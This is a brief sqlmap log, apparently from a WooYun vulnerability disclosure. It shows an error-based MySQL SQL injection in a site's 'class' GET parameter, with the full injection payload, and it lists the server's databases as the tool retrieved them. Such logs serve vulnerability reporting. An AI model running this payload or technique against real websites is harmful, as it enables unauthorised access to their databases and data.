WooYun.org

GET parameter 'class' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 3774 HTTP(s)
requests:
---
Parameter: class (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: act=like&class=' AND (SELECT 2794 FROM(SELECT COUNT(*),CONCAT(0x717
6717a71,(SELECT (ELT(2794=2794,1))),0x7162786b71,FLOOR(RAND(0)*2))x FROM INFORMA
TION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JgFZ'='JgFZ
---
[22:54:14] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
[22:54:14] [INFO] fetching database names
[22:54:14] [INFO] the SQL query used returns 3 entries
[22:54:14] [INFO] retrieved: information_schema
[22:54:17] [INFO] retrieved: kt30year
[22:54:18] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] kt30year
[*] test